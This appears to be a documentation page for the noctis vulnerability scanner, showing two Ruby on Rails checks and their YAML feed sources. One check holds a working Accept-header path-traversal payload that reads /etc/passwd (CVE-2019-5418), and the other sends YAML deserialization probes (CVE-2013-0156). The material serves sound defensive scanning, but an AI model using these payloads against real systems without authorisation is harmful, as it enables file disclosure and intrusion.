Ruby on Rails — 2 vulnerability checks
noctis ships 2 vulnerability checks for Ruby on Rails, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Ruby on Rails Action View Accept Header File Disclosure
| CVE | CVE-2019-5418 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/rails/CVE-2019-5418.yaml |
Tests Ruby on Rails applications for the Action View file content disclosure (CVE-2019-5418): a crafted `Accept` header combined with `render file:` makes Rails render an arbitrary server file. The feed reads /etc/passwd through the `Accept` header traversal on common Rails routes and confirms the root entry is disclosed only when the traversal header is sent.
How noctis detects it
- HTTP(S) request
GET {{rails_path}}, for each of 3 values - HTTP(S) request
GET {{rails_path}} - Parses / computes the next value with a Rhai script
- Checks
root_linefor^root:[^:]*:0:0:→ finding QoD 75: Action View Accept-header traversal read /etc/passwd via GET … (control request with Accept: text/html did not) — …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-5418
- https://groups.google.com/g/rubyonrails-security/c/pFRKI96Sm8Q
- https://github.com/mpgn/CVE-2019-5418
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/rails_doubletap_file_read.rb
Feed source — tests/vulnerabilities/rails/CVE-2019-5418.yaml
# Ruby on Rails Action View `Accept` header file disclosure — CVE-2019-5418
#
# Action View in Rails < 6.0.0.beta3 / 5.2.2.1 / 5.1.6.2 / 5.0.7.2 / 4.2.11.1
# builds the template lookup glob for `render file:` from the request's
# `Accept` header without validating it. A crafted header such as
# `Accept: ../../../../../../../../../etc/passwd{{` turns the lookup into a
# path traversal, and the controller renders the arbitrary file back to the
# unauthenticated client (CISA KEV, Metasploit `rails_doubletap_file_read`).
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# actual file read and confirms it in-band. For each candidate Rails route it
# 1. sends GET <path> with the traversal `Accept` header (the exploit),
# 2. sends the same GET with a normal `Accept: text/html` (control),
# 3. fires only when the exploit reply is HTTP 200 and carries a genuine
# /etc/passwd root entry (`root:<pw>:0:0:`) that the control reply does
# NOT carry — so a page that merely contains passwd-like text can't match.
# The file read is the vulnerability's own primitive; /etc/passwd is world-
# readable and holds no secrets on a shadow-password system. Only the matched
# root line (never the full body) is kept as finding evidence. Nothing is
# written, executed or deleted on the target.
#
# Route list: the NASL walks crawled CGIs; noctis has no crawler, so it probes
# the OpenVAS / Nuclei defaults `/`, `/robots`, and `/opensearch` (Discourse's
# vulnerable route — OpenVAS `2019/discourse/gb_discourse_cve-2019-5418_lfi.nasl`).
# A vulnerable app whose `render file:` action lives on another route is not
# reached (false negative, never a false positive). Only /etc/passwd is read:
# the NASL also tries Windows files (win.ini), so a Rails app on Windows is
# missed by this feed.
#
# CVE-2019-5419 (same `Accept` header, same fixed versions) is a denial of
# service; it is intentionally NOT probed and not listed in `cves:` — this
# feed only proves the CVE-2019-5418 file read.
#
# Payload: the NASL appends a single `{` after 9 × `../`; the original PoC,
# Metasploit and Nuclei close the glob with `{{` — used here. `{{` without a
# closing `}}` is left verbatim by noctis' template engine.
#
# Ported from OpenVAS/Greenbone NVT
# `2019/rails/gb_ruby_on_rails_cve-2019-5418_lfi.nasl` (OID 1.3.6.1.4.1.25623.1.0.108562,
# GPL-2.0-only); cross-checked with Nuclei `http/cves/2019/CVE-2019-5418.yaml`.
uid: 65a37f5a-6d8c-41ee-92c8-1cbb1780dc27
name: "Ruby on Rails Action View Accept Header File Disclosure (CVE-2019-5418)"
description: |
Tests Ruby on Rails applications for the Action View file content disclosure
(CVE-2019-5418): a crafted `Accept` header combined with `render file:` makes
Rails render an arbitrary server file. The feed reads /etc/passwd through the
`Accept` header traversal on common Rails routes and confirms the root entry
is disclosed only when the traversal header is sent.
cves: [CVE-2019-5418]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.25
tags: [rails, ruby-on-rails, action-view, discourse, path-traversal, file-read, lfi, accept-header, intrusive, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-5418"
- "https://groups.google.com/g/rubyonrails-security/c/pFRKI96Sm8Q"
- "https://github.com/mpgn/CVE-2019-5418"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2019/CVE-2019-5418.yaml"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/rails_doubletap_file_read.rb"
steps:
# ── 1. Exploit: Accept-header traversal to /etc/passwd ──────────────────
# The payload sits in a header, not the path, so reqwest's URL
# normalisation does not touch it — http_request is fine here.
- id: accept-traversal
action: http_request
method: GET
path: "{{rails_path}}"
port: "{{port}}"
headers:
Accept: "../../../../../../../../../etc/passwd{{"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rails_resp
# A failed request leaves store_as unset: clear the previous route's reply
# so it can't be compared against this route's control (stale-value FP).
on_failure:
set_vars:
rails_resp: false
loop:
over:
- /
- /robots
- /opensearch
var: rails_path
# ── 2. Control: same route, ordinary Accept header ──────────────────────
- id: accept-control
action: http_request
method: GET
path: "{{rails_path}}"
port: "{{port}}"
headers:
Accept: "text/html"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rails_ctl
on_failure:
set_vars:
rails_ctl: false
# ── 3. Keep only the disclosed root entry, and only when the control ────
# reply does not already contain one.
# Guarded so a failed request (store_as unset) skips instead of erroring.
- id: extract-root-line
action: script
condition: "rails_resp.status == 200 && rails_ctl.status > 0"
code: |
let line = egrep("^root:[^:]*:0:0:", rails_resp.body);
if egrep("^root:[^:]*:0:0:", rails_ctl.body) != "" { line = ""; }
line
store_as: root_line
# ── 4. Confirm the file read ────────────────────────────────────────────
- id: passwd-disclosed
action: match
source: root_line
pattern: "^root:[^:]*:0:0:"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "Action View Accept-header traversal read /etc/passwd via GET {{rails_path}} (control request with Accept: text/html did not) — {{root_line}}"
stop: trueRuby on Rails XML Parameter YAML Deserialization
| CVE | CVE-2013-0156 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/rails/CVE-2013-0156.yaml |
Tests Ruby on Rails applications for the XML parameter YAML deserialization flaw (CVE-2013-0156). The feed posts three XML bodies that differ only in the element type (string, a harmless yaml object, a yaml object of a class that does not exist) and reports the target when the yaml bodies reach Ruby's object deserializer: the valid one is accepted like the string body while the unknown class makes the loader fail. Nothing is executed or written on the target.
How noctis detects it
- HTTP(S) request
POST /with a crafted body - HTTP(S) request
POST /with a crafted body - HTTP(S) request
POST /with a crafted body - Parses / computes the next value with a Rhai script
- Checks
rb_levelfor^marker$→ finding QoD 97: POST … with a type="yaml" element: the Ruby YAML loader tried to build a class that does not exist (undefined class/module NoctisYamlProbe … - Checks
rb_levelfor^differential$→ finding QoD 75: type="yaml" XML element reached the object loader: valid Time object answered … like the string element (…), unknown class answered …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-0156
- https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ
- https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb
Feed source — tests/vulnerabilities/rails/CVE-2013-0156.yaml
# Ruby on Rails XML parameter parser YAML / symbol deserialization — CVE-2013-0156
#
# Rails < 2.3.15, 3.0.x < 3.0.19, 3.1.x < 3.1.10 and 3.2.x < 3.2.11 let a request
# body in XML (`Content-Type: application/xml`) carry attributes of
# `type="yaml"` / `type="symbol"`. The XML param parser handed the CDATA text of a
# `yaml` element to the YAML loader, so any unauthenticated client could
# instantiate arbitrary Ruby objects — the well known path to remote code
# execution (CISA KEV, Metasploit `rails_xml_yaml_code_exec`). The fixed releases
# refuse those types ("Disallowed type attribute") before the request is routed.
#
# The XML params middleware runs before routing, so the probe does not need a
# real action: any path works, and the status the route itself gives (200 / 404 /
# 422) is just the baseline the other probes are compared against.
#
# Detection (QoD 75 / 97 — real deserialization, benign payloads): three POSTs to
# the same path, each with an XML body that differs only in the element's type:
# 1. baseline — `type="string"`, plain text;
# 2. yaml, valid — `type="yaml"`, `--- !ruby/object:Time {}` (a harmless core
# class, instantiated with no arguments);
# 3. yaml, class that does not exist — `--- !ruby/object:NoctisYamlProbe {}`.
# A vulnerable parser accepts (2) exactly like the baseline, and the loader fails on
# (3) with an exception, a 500 that the baseline did not give (QoD 75): the YAML
# really went through the object deserializer. When the app shows exception
# text (development mode), the reply carries `undefined class/module
# NoctisYamlProbe`, which only the loader can produce (QoD 97). A fixed Rails
# rejects the yaml type outright (400/500 for probe 2), and a server that is not
# Rails treats all three alike, so neither matches. No object with a side effect
# is ever built; nothing is written or executed.
#
# Better than the original check: the OpenVAS script wraps the text in `<[CDATA[`
# (missing `!`), which is not valid XML, and only looks at the HTTP status of the
# valid-class probe; here the CDATA is well formed and the loader's failure on a
# class that does not exist is required as well.
#
# Ported from OpenVAS/Greenbone NVT `2013/gb_ruby_rails_xml_yaml_rce.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.802050, GPL-2.0-only).
# CVSS: NVD publishes only a CVSS v2 score (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P) for this CVE.
uid: 9d64b1da-451e-4355-a792-31dda28cb2c1
name: "Ruby on Rails XML Parameter YAML Deserialization (CVE-2013-0156)"
description: |
Tests Ruby on Rails applications for the XML parameter YAML deserialization
flaw (CVE-2013-0156). The feed posts three XML bodies that differ only in the
element type (string, a harmless yaml object, a yaml object of a class that does
not exist) and reports the target when the yaml bodies reach Ruby's object
deserializer: the valid one is accepted like the string body while the
unknown class makes the loader fail. Nothing is executed or written on the target.
cves: [CVE-2013-0156]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.25
tags: [rails, ruby-on-rails, deserialization, yaml, xml, rce, intrusive, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-0156"
- "https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ"
- "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb"
steps:
# ── 1. Baseline: ordinary string element ─────────────────────────────────
- id: baseline
action: http_request
method: POST
path: "/"
port: "{{port}}"
headers:
Content-Type: "application/xml"
body: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<probe type=\"string\"><![CDATA[\nhello\n]]></probe>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rb_base
on_failure:
set_vars:
rb_base: false
# ── 2. yaml element holding a harmless core object ───────────────────────
- id: yaml-valid
action: http_request
method: POST
path: "/"
port: "{{port}}"
headers:
Content-Type: "application/xml"
body: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<probe type=\"yaml\"><![CDATA[\n--- !ruby/object:Time {}\n]]></probe>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rb_yaml
on_failure:
set_vars:
rb_yaml: false
# ── 3. yaml element naming a class that does not exist ───────────────────
- id: yaml-unknown-class
action: http_request
method: POST
path: "/"
port: "{{port}}"
headers:
Content-Type: "application/xml"
body: "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<probe type=\"yaml\"><![CDATA[\n--- !ruby/object:NoctisYamlProbe {}\n]]></probe>"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rb_bad
on_failure:
set_vars:
rb_bad: false
# ── 4. Verdict ───────────────────────────────────────────────────────────
- id: verdict
action: script
code: |
let level = "";
if type_of(rb_base) == "map" && type_of(rb_yaml) == "map" && type_of(rb_bad) == "map" {
if rb_base.status >= 100 && rb_base.status < 500
&& rb_yaml.status == rb_base.status
&& rb_bad.status >= 500 {
level = "differential";
if ereg("undefined class/module NoctisYamlProbe", rb_bad.body) { level = "marker"; }
}
}
level
store_as: rb_level
- id: loader-error-text
action: match
source: rb_level
pattern: "^marker$"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "POST {{target_host}} with a type=\"yaml\" element: the Ruby YAML loader tried to build a class that does not exist (undefined class/module NoctisYamlProbe in the {{rb_bad.status}} reply); the harmless Time object was accepted like a string element ({{rb_yaml.status}})"
stop: true
- id: yaml-accepted
action: match
source: rb_level
pattern: "^differential$"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "type=\"yaml\" XML element reached the object loader: valid Time object answered {{rb_yaml.status}} like the string element ({{rb_base.status}}), unknown class answered {{rb_bad.status}}"
stop: true